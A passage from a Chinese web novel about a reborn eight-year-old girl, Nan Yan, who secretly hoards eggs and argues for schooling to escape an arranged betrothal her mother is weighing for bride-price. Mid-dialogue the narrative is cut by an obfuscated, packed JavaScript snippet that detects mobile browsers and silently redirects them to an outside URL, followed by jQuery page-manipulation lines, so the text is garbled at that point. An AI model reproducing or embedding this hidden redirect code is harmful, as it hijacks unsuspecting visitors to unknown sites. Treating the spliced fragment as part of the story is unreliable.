那只勤快的母鸡,是家里一个稳定的“分分钱”来源,地位仅次于那两头猪。
包兰芝通常会把鸡蛋攒起来,攒够一小篮,就拿到矿家属区边缘那个自发形成的小集市上去卖,换回来的钱,有时会割一小条肥肉炼油,有时会称点盐巴酱油,偶尔,极偶尔,会给南天贵或南峰买个冰棍或者果丹皮解馋。
至于南雁和几个妹妹,别说冰棍、果丹皮了,连蛋花汤都难得喝上一口。
包兰芝总说“丫头片子喝了浪费,得留给带把的补身子”。
更别说摸到卖鸡蛋的钱了,那钱像是长在包兰芝裤腰带上,谁碰一下都要被剜着眼珠子骂半天。
以前,南雁觉得理所当然,女孩嘛,有好东西自然该紧着家里的“根苗”。
可现在,这念头让她只想冷笑。
那只不下蛋的母鸡,开春后确实就该处理掉了,留着也是浪费粮食。
但那只下蛋勤快的……南雁盯着鸡窝角落那堆干草,眼睫毛颤了颤。
她不能明目张胆地拿鸡蛋去卖,那等于从包兰芝口袋里抢钱,立刻就会招来一顿毒打和更难听的辱骂。
她得想个更隐蔽的法子。
第二天喂鸡的时候,南雁格外留意。
她发现,那只花母鸡通常是在上午九十点钟,阳光照到鸡窝角落的时候下蛋。
下完蛋,它会梗着脖子“咯咯哒”地叫,声音亮得能传到隔壁院,仿佛在向全世界宣告自己的功劳。
包兰芝听到叫声,总会趿着布鞋从屋里出来,围裙上还沾着锅灰,一边骂骂咧咧“叫魂呢”,一边伸手往草堆里摸,摸到蛋时指节会不经意地蜷一下,像是握住了什么宝贝。
于是,南雁心里有了个模糊的计划。
她需要在包兰芝听见叫声前,先把蛋摸出来,还得让那只鸡“忘”了叫唤。
机会在一个周三的上午来了。
包兰芝要去矿上领这个月的劳保用品,蓝布工装和肥皂,来回得一个多小时。
南雁头天晚上着了凉,早上起来咳得胸口发闷,包兰芝破天荒地没催她去上学,只丢了句“在家歇着,看好你弟,别让他往煤堆里钻”,就揣着布包出了门。
包兰芝前脚刚走,南雁后脚就竖起了耳朵。她假装在院子里扫地,眼睛却不时瞟向鸡窝。
果然,快到平时下蛋的点儿,那只花母鸡开始不安分了。
它在鸡窝边来回踱着,爪子刨得地上的土簌簌掉,最后一扭屁股,钻进草堆里趴了下来,尾巴根的毛都绷紧了。
南雁的心提到了嗓子眼,她握紧了手里的扫帚,既期待又紧张。
时间一分一秒过去,院子里静悄悄的,只有母鸡偶尔发出的“咕咕”声。
南雁几乎能听到自己心跳的声音。
终于,母鸡猛地抖了一下,屁股后面露出个白生生的尖儿。
它的脖子开始往上伸,喙张得老大,眼看就要发出那声标志性的“咯咯哒”。
就是现在!
南雁几乎是扑过去的。
动作快得像阵风,八岁孩子的小身板爆发出惊人的敏捷。
她左手虚虚按在母鸡背上,指尖能摸到羽毛下温热的骨架,右手像长了眼睛似的,精准地从草堆里捞起那个圆滚滚,滑溜溜,还带着母鸡的体温鸡蛋。
那鸡蛋在掌心里微微发烫。
同时,她往母鸡耳边凑了凑,喉咙里挤出低低的“嘘——嘘——”声,像在哄哭闹的婴儿。
母鸡被这突如其来的举动弄懵了。到了嘴边的啼叫卡在喉咙里,变成一声短促又疑惑的“咯?”。
它歪着脖子,黑亮亮的眼珠盯着南雁,像是在问“你干啥”。
南雁顾不上许多,她飞快地把鸡蛋揣进怀里——早就把破棉袄最里层缝了个小兜,里面垫着块软布。
鸡蛋贴着心口,能感觉到那点温热透过布层渗进来,和她狂跳的心脏隔着一层薄薄的棉絮,一起一伏。
手心全是汗,把鸡蛋壳濡得更滑了。
她觉得自己像个真正的贼,刚从老虎嘴里叼走了一块肉。
可这又算什么贼呢?
她不过是从这个从来没给过她半分疼爱的家里,“偷”回一点点本该属于她的东西。
她迅速退开,拿起扫帚继续扫地,竹枝划过地面的声音有点发飘。
母鸡在原地转了两圈,没再叫唤,似乎也接受了蛋已不见的现实,踱着步子去找食去了。
第一个鸡蛋,到手了。
南雁强作镇定地扫完院子,进屋时手指还在发颤。
她把鸡蛋从怀里掏出来,在昏暗的光线下看了看。
小小的,白壳,上面沾着一根细绒毛。
她掀开炕席最里头,靠近墙壁的地方有道窄缝,干燥,阴凉,是她摸索了好几天才找到的藏身处。
她小心翼翼地把鸡蛋塞进去,指尖碰到冰凉的墙皮,才觉出点踏实。
这只是第一步。
一个鸡蛋卖不了几分钱,她得攒,像燕子衔泥筑巢那样,一点点攒出条活路。
但她不敢太贪心。
包兰芝精得像只老狐狸,鸡蛋攒到多少个,心里门儿清。
南雁算着日子,专挑包兰芝赶集或不在的日子下手,一次只拿一个,多了容易露馅。
与此同时,她把更多精力投入到了学习上。
李老师的表扬似乎起了点微弱的作用,包兰芝虽然依旧念叨“丫头读书无用”,但至少在她看书时,骂声少了些。
南雁知道,这只是暂时的平静,那封说亲的信像一把达摩克利斯之剑,悬在她的头顶,指不定哪天就砍下来,把她大卸几块。
她必须让“读书有用论”在包兰芝心里扎根更深。
饭桌上,她开始有意无意地“说闲话”。
“妈,今天看见矿长家的小儿子了,背着新书包,李老师说他考试总拿第一,矿长见人就夸‘我家小子将来要上大学’。”她扒着碗里的红薯粥,声音不大不小,刚好能让全桌人听见。
包兰芝撇撇嘴,没接话。
南秉义抽着旱烟,“嗯”了一声。
过了两天,她又说:“矿部办公室新来的那个文书,是个女的,听说高中毕业呢。穿的确良衬衫,不用下井,天天坐在屋里写字,工资比我爸还多两块。”
这次包兰芝接了句:“那是人家命好。”
筷子却在碗沿顿了一下。
再后来,她听见李老师和别的老师闲聊,提到“恢复高考”的事,回来就跟南秉义说:“爸,李老师说,以后有文化的人能考大学,考上了就是国家干部,吃商品粮,还能把家里人户口转成城镇的。”
她说这话时,眼睛瞟着包兰芝,看她端着碗的手紧了紧。
这些话像撒种子,一句句落在包兰芝心里。
她在盘算,一边是眼前的彩礼,能立刻换两头猪,甚至能给南天贵攒点将来娶媳妇的钱;一边是南雁画的饼,虽远,却透着金晃晃的光。
南雁看得出,包兰芝在动摇,这种动摇源于贪婪,既想抓住眼前的实惠,又舍不得放弃可能更大的饼。
然而,这种微妙的平衡,在一个周末被打破了。
那天,包兰芝那个远房表妹,也就是写信来的那位,竟然找上门来了。
女人三十来岁年纪,穿着件半新的蓝布罩衫,脸上带着惯有的讨好又精明的笑容,手里还拎着个小布包,里面大概是些乡下带来的干菜之类不值钱的东西。
“兰芝姐!哎哟,可算找着你了!咱矿上这房子盖得都一个样,可把我绕晕了!”表妹一进门就热情地嚷嚷开了。
包兰芝显然有些意外,但更多的是警惕和心虚。她接过布包,嘴上客气着:“哎呀,你来就来,还带什么东西!快屋里坐!”
眼神却飞快地瞟了南雁一眼。
南雁正在灶台边洗碗,心里咯噔一下,暗叫不好。
这女人此时上门,绝不仅仅是串亲戚那么简单。
“这不上回给你写信,没见你回,我就亲自跑一趟嘛!”表妹跨进院门,眼睛在院里扫了一圈,最后落在灶台边的南雁身上,笑盈盈地打招呼:“这就是雁子吧?都长这么高了。”
南雁低着头,没吭声。
进屋没说两句家常,表妹就开始东拉西扯,最后终于绕到正题上。
她往包兰芝身边凑了凑,声音压得低了些,却故意让坐在灶台边的南雁能听见:“兰芝姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458127|185383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,上回我信里提的那事儿……你考虑得咋样了?”
包兰芝端着茶杯的手顿了顿,杯沿的茶渍印在她手背上:“啥事儿?我这儿忙得忘性大。”
“哎哟,就是雁子的事儿啊!”表妹拍了下大腿,声音陡然拔高,“那边可是催得紧呐!说好几家都盯着呢!人家条件是真不错,虽说那孩子腿脚不太利索,可家里就一个独苗,爹妈都能干,说了,媳妇过去肯定当宝贝疙瘩疼!”
她凑近包兰芝,伸出三根手指头,晃了晃:“那彩礼……可是这个数!够你家买两头半猪了!”
南雁的心瞬间沉到了谷底。
把她当牲口卖呢?
她死死攥着手里的抹布,指节发白,心里像被塞进一把碎玻璃,又扎又堵,喉咙里全是腥甜的气。
包兰芝的脸上闪过一丝尴尬和犹豫,她支吾着:“这个……孩子还小,再说……再说现在都兴自由恋爱,我们这当爹妈的……”
“哎哟我的好姐姐!自由恋爱能当饭吃?”表妹拍着大腿,一副推心置腹的样子,“现在啥时候了?还能由着孩子性子来?咱当大人的不得替他们把把关?现在定下来,等过两年大了再过门,啥也不耽误!再说了,雁子这丫头……”
她瞟了南雁一眼,声音里带着点说不清的意味,“老实是老实,可你看她那身板,还有那腿……将来能找个啥样的?咱得现实点!这户人家,真是顶好的了!错过了这村,可就没这店了!”
这话像针一样扎在南雁心上,她的左腿比右腿要稍微短一点点,走快了就有点坡。
但她的腿不是天生的,至于怎么变成这样的,她也不知道,没人告诉她。
她也问过父母,可他们总是闭口不谈,久了,她也习惯了。
就算知道原因又有什么用呢?
反正也治不好了。
前世,女儿小安长大能赚钱后,就曾带她去大城市看过腿,那个医生还是骨科极权威的专家。
连他都说治不好了,这辈子又有谁能治好她呢?
同样表妹的这句话也戳中了包兰芝最现实的考量。
是啊,南雁的条件摆在那里,在婚嫁市场上确实不占优势。
这户人家愿意出高价彩礼,在包兰芝看来,简直是“冤大头”式的良机。
南雁看见包兰芝的嘴唇动了动,像是要说“行”。
不能再等下去了,在等下去,她很可能就被说动,哪怕只是口头先应承下来,对她来说都是灭顶之灾。
南雁深吸一口气,走到屋中间,脸上带着点恰到好处的天真,还有一丝被惊扰的委屈,声音清亮地打断了她们:“妈,表姨,你们在说啥呀?啥过门?啥彩礼?是说我吗?”
包兰芝和表妹都吓了一跳,显然没料到她敢插话。
包兰芝的脸瞬间沉了下来,呵斥道:“大人说话,小孩插什么嘴!洗你的碗去!”
表妹也赶紧打圆场,笑容僵硬:“没啥没啥,雁子你别听岔了,表姨跟你妈唠家常呢。”
南雁却不肯罢休,她往前走了一步,眼睛直直地看着包兰芝,脸上带着与她年龄不符的执拗和冷静:“妈,李老师前天还找我谈话呢。”
包兰芝一愣:“李老师?她又找你干啥?”
“李老师说,我这次期中考试,语文考了全班第三,数学也进步了。”南雁没说自己其实是第五,只捡好听的说,“老师说,照这个势头,我考初中肯定没问题,说不定还能争保送高中的名额。”
她顿了顿,看包兰芝的眉头松了点,赶紧趁热打铁:“矿中学高中部,每年都有考上中专、大学的。李老师说,考上了就是国家干部,吃商品粮,工资比矿长还高,将来还能把家里人都接到城里去住砖瓦房。”
她一口气说完,不给包兰芝打断的机会,然后紧紧盯着母亲的眼睛,一字一顿地问:“妈,我不想这么早说婆家。我想读书。我想像李老师说的那样,将来有出息,挣大钱,好好孝敬你和我爸。行吗?”
屋子里瞬间安静下来。
表妹张着嘴,一脸错愕,显然没料到这个看起来闷不吭声的小丫头,能说出这么一大套条理清晰,甚至带着点威胁的话来。
包兰芝的脸色更是变幻莫测。